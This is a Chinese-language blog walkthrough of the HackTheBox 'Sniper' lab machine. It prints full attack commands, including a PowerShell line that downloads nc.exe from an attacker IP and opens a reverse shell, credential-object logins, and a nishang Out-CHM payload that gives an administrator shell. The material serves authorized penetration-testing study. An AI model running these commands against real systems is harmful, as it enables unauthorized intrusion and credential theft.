No.89-HackTheBox-windows-Sniper-Walkthrough渗透学习

**

HackTheBox-windows-Sniper-Walkthrough

**

靶机地址:https://www.hackthebox.eu/home/machines/profile/211
靶机难度:中级(4.5/10)
靶机发布日期:2020年3月24日
靶机描述:
Sniper is a medium difficulty Windows machine which features a PHP server. The server hosts a
file that is found vulnerable to local and remote file inclusion. Command execution is gained on
the server in the context of NT AUTHORITY\iUSR via local inclusion of maliciously crafted PHP
Session files. Exposed database credentials are used to gain access as the user Chris , who has
the same password. Enumeration reveals that the administrator is reviewing CHM (Compiled
HTML Help) files, which can be used the leak the administrators NetNTLM-v2 hash. This can be
captured, cracked and used to get a reverse shell as administrator using a PowerShell credential
object.
作者:大余
时间:2020-05-01
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.151…
在这里插入图片描述
nmap扫描发现运行着IIS Web服务器…
在这里插入图片描述
该网站属于Sniper Co.公司…都是公司的博客等信息…
在这里插入图片描述
命令:gobuster dir -w /usr/share/wfuzz/wordlist/general/common.txt -t 20 -x php,html -u http://10.10.10.151/
目录爆破发现了一些目录或者文件…挖掘
在这里插入图片描述
在这里插入图片描述
当点击English后,重定向到了blog-en.php文件…
在这里插入图片描述
通过测试…发现单独创建的独立用户smb共享,靶机无法共享到webshell信息…
在这里插入图片描述
这里创建对所有人开放的SMB共享…
在这里插入图片描述
通过所有人可访问的共享,测试了查询结果,是正常的…直接反弹shell即可…
在这里插入图片描述
命令:powershell.exe mkdir /dayu; iwr -uri http://10.10.14.51/nc.exe -outfile /dayu/nc.exe; /dayu/nc.exe 10.10.14.51 6666 -e powershell.exe
通过web shell共享上传了NC,利用NC反弹shell获得了低权外壳…
在这里插入图片描述
枚举后,在页面底层发现了chris的密码凭证…
那后续只需要Powershell变量,触发nc即可…
在这里插入图片描述
命令:

$pw = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("snipe\chris", $pw)
Enter-PSSession -ComputerName SNIPER -Credential $cred
Start-Process -FilePath "\dayu\nc.exe" -ArgumentList "10.10.14.51 7778 -e cmd.exe" -NoNewWindow

通过修改powershell变量,成功通过chris用户利用nc进行反弹shell…
获得user信息…
这里也可以密匙凭证登陆mysql在底层可以看到passwd哈希值,破解即可获得chris密码…
或者通过winRM.rb使用密匙凭证登陆到chris用户下…方法很多…
在这里插入图片描述
这里说到Chris很生气…这里的php不好用,出现了很多问题,该公司的首席执行官正在寻找一个应用程序文档文件,并将在此文件夹中寻找它…
在这里插入图片描述
我在chris用户的下载目录下发现了.chm文件…chm文件是已编译的HTML文件,前面的语言说明管理员可能期望使用chm文件放置在C:\Docs\中,利用此漏洞,我们可以创建一个包含UNC链接的新chm文件,触发该文件打开时连接到本地服务器,这可以窃取管理员NetNTLMv2哈希值…GO
在这里插入图片描述
这里利用nishang里的chm脚本进行…地址
在这里插入图片描述
安装HTML Help Workshop
需要此工具进行编辑chm…
下面开始简单利用powershell运行脚本,脚本会将有效负载注入有效的chm格式中…
在这里插入图片描述
记得管理员模式下运行powershell:set-ExecutionPolicy RemoteSigned,否则无法运行脚本!!!
在这里插入图片描述
命令:

./Out-CHM.ps1
Import-Module ./Out-CHM.ps1
out-chm -Payload "powershell c:\dayu\nc.exe 10.10.14.51 9999 -e powershell" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

使用命令导入Powershell模块,成功利用powershell链接HTML创建了chm恶意程序…
在这里插入图片描述
命令:Invoke-WebRequest "http://10.10.14.51/doc.chm" -Outfile c:\Docs\doc.chm
上传,通过前面写入的shell,利用nc进行成功提权…获得了root信息…
或者通过https://gist.github.com/mgeeky/cce31c8602a144d8f2172a73d510e0e7介绍的编辑也提到administrator…
或者可以通过编辑HTML Help Workshop–hhw进行生成恶意CHM也是一样的…
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
这里介绍了HTML–hhw的使用方法…
直接创建shell利用NC提权也行…方法很多,或者利用SMB共享读取到密匙凭证登陆时候的哈希值爆破获得管理员密码…等等…就不介绍下去了…

由于我们已经成功得到root权限查看user.txt和root.txt,因此完成这台中等的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

原创文章 102 获赞 13 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/105851042